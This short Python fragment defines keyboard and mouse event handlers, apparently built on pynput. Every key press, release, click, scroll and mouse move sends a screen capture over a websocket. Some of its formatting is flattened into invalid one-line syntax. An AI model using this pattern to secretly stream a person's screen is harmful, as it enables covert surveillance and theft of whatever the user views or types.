def on_release(key): ws.send(ct.screen_capture())
def on_press(key): try: ws.send(ct.screen_capture()) except AttributeError: print('special key {0} pressed'.format(key))
def on_click(x, y, button, pressed): ws.send(ct.screen_capture())
def on_scroll(x, y, dx, dy): ws.send(ct.screen_capture())
def on_move(x, y): ws.send(ct.screen_capture())